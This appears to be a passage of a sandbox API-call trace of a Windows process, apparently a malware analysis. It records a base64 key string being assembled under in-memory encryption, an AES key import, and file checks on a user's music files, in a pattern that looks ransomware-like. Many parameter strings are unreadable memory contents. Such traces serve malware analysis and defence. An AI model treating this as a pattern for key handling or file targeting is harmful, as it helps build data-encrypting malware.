Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0242.243] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0242.243] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0242.243] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0242.243] SysStringLen (param_1="NDZlODRmYzNlYᣆ㬞勉") returned 0x10 [0242.243] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0242.243] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0242.243] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0242.243] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0242.243] SysStringLen (param_1="NDZlODRmYzNlYT㬞勉") returned 0x10 [0242.243] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0242.243] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0242.243] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0242.243] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0242.244] SysStringLen (param_1="NDZlODRmYzNlYTJ勉") returned 0x10 [0242.244] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0242.244] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0242.244] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0242.244] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0242.244] SysStringLen (param_1="NDZlODRmYzNlYTJh") returned 0x10 [0242.244] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0242.244] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0242.244] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0242.244] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0242.245] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x18 [0242.245] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0242.245] SysStringLen (param_1="NDZlODRmYzNlYTJhM虵亅㸱멷嘇ꚺ") returned 0x18 [0242.245] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0242.245] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0242.245] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0242.245] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0242.245] SysStringLen (param_1="NDZlODRmYzNlYTJhMD亅㸱멷嘇ꚺ") returned 0x18 [0242.245] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0242.245] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0242.245] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0242.245] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0242.246] SysStringLen (param_1="NDZlODRmYzNlYTJhMDF㸱멷嘇ꚺ") returned 0x18 [0242.246] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0242.246] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0242.246] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0242.246] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0242.246] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFl멷嘇ꚺ") returned 0x18 [0242.246] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0242.246] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0242.246] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0242.246] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0242.246] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlM嘇ꚺ") returned 0x18 [0242.246] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0242.247] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0242.247] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0242.247] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0242.247] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTꚺ") returned 0x18 [0242.247] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0242.247] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0242.247] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0242.247] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0242.247] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTU") returned 0x18 [0242.247] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0242.247] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0242.247] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0242.247] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0242.247] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUw") returned 0x18 [0242.247] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0242.248] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0242.248] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0242.248] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0242.248] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x20 [0242.248] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0242.248] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZㄵ㋛仄杫ℂ︸饉") returned 0x20 [0242.248] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0242.248] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0242.248] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0242.248] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0242.249] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZD㋛仄杫ℂ︸饉") returned 0x20 [0242.249] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0242.249] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0242.249] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0242.249] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0242.249] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE仄杫ℂ︸饉") returned 0x20 [0242.249] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0242.249] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0242.249] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0242.249] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0242.249] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3杫ℂ︸饉") returned 0x20 [0242.249] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0242.250] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0242.250] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0242.250] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0242.250] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yℂ︸饉") returned 0x20 [0242.250] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0242.250] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0242.250] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0242.250] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0242.250] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yz︸饉") returned 0x20 [0242.250] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0242.250] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0242.250] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0242.250] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0242.251] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzd饉") returned 0x20 [0242.251] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0242.251] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0242.251] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0242.251] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0242.251] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzdi") returned 0x20 [0242.251] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0242.251] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0242.251] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0242.251] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0242.252] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x28 [0242.252] SystemFunction041 (in: Memory=0x3716a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3716a4) returned 0x0 [0242.252] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiM⤷挠ﵝ九갧") returned 0x28 [0242.252] SystemFunction040 (in: Memory=0x3716a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3716a4) returned 0x0 [0242.252] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0242.252] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0242.252] SystemFunction041 (in: Memory=0x3716a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3716a4) returned 0x0 [0242.252] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMm⤷挠ﵝ九갧") returned 0x28 [0242.252] SystemFunction040 (in: Memory=0x3716a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3716a4) returned 0x0 [0242.252] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0242.252] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0242.252] SystemFunction041 (in: Memory=0x3716a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3716a4) returned 0x0 [0242.252] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQ挠ﵝ九갧") returned 0x28 [0242.252] SystemFunction040 (in: Memory=0x3716a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3716a4) returned 0x0 [0242.253] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0242.253] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0242.253] SystemFunction041 (in: Memory=0x3716a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3716a4) returned 0x0 [0242.253] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzﵝ九갧") returned 0x28 [0242.253] SystemFunction040 (in: Memory=0x3716a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3716a4) returned 0x0 [0242.253] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0242.253] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0242.253] SystemFunction041 (in: Memory=0x3716a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3716a4) returned 0x0 [0242.253] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN九갧") returned 0x28 [0242.253] SystemFunction040 (in: Memory=0x3716a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3716a4) returned 0x0 [0242.253] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0242.253] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0242.253] SystemFunction041 (in: Memory=0x3716a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3716a4) returned 0x0 [0242.254] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2갧") returned 0x28 [0242.254] SystemFunction040 (in: Memory=0x3716a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3716a4) returned 0x0 [0242.254] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0242.254] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0242.254] SystemFunction041 (in: Memory=0x3716a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3716a4) returned 0x0 [0242.254] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2J갧") returned 0x28 [0242.254] SystemFunction040 (in: Memory=0x3716a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3716a4) returned 0x0 [0242.254] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0242.254] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0242.254] SystemFunction041 (in: Memory=0x3716a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3716a4) returned 0x0 [0242.254] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2Jh") returned 0x28 [0242.254] SystemFunction040 (in: Memory=0x3716a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3716a4) returned 0x0 [0242.254] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0242.255] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0242.255] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0242.255] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x30 [0242.255] SystemFunction041 (in: Memory=0x5c93004, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c93004) returned 0x0 [0242.255] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN셳㻶벗颯軠삳") returned 0x30 [0242.255] SystemFunction040 (in: Memory=0x5c93004, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c93004) returned 0x0 [0242.255] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0242.255] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0242.255] SystemFunction041 (in: Memory=0x5c93004, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c93004) returned 0x0 [0242.256] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2㻶벗颯軠삳") returned 0x30 [0242.256] SystemFunction040 (in: Memory=0x5c93004, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c93004) returned 0x0 [0242.256] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0242.256] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0242.256] SystemFunction041 (in: Memory=0x5c93004, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c93004) returned 0x0 [0242.256] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q㻶벗颯軠삳") returned 0x30 [0242.256] SystemFunction040 (in: Memory=0x5c93004, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c93004) returned 0x0 [0242.256] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0242.256] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0242.256] SystemFunction041 (in: Memory=0x5c93004, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c93004) returned 0x0 [0242.256] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0242.256] SystemFunction040 (in: Memory=0x5c93004, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c93004) returned 0x0 [0242.256] EtwEventActivityIdControl () returned 0x0 [0242.257] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0242.257] SystemFunction041 (in: Memory=0x5c93004, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c93004) returned 0x0 [0242.257] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0242.257] SystemFunction040 (in: Memory=0x5c93004, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c93004) returned 0x0 [0242.258] CryptAcquireContextW (in: phProv=0x5a2e630, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e630*=0x3742b0) returned 1 [0242.260] CryptImportKey (in: hProv=0x3742b0, pbData=0x24eb624*, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x5a2ea1c | out: phKey=0x5a2ea1c*=0x5c99520) returned 1 [0242.260] CryptContextAddRef (hProv=0x3742b0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0242.260] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0242.261] EtwEventActivityIdControl () returned 0x0 [0242.261] EtwEventActivityIdControl () returned 0x0 [0242.261] EtwEventActivityIdControl () returned 0x0 [0242.267] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\RE3_9X-yu-SSwhMc.mp3" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\ql4itmgkfkq\\re3_9x-yu-sswhmc.mp3")) returned 0x20 [0242.269] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\RE3_9X-yu-SSwhMc.mp3" (normalized: 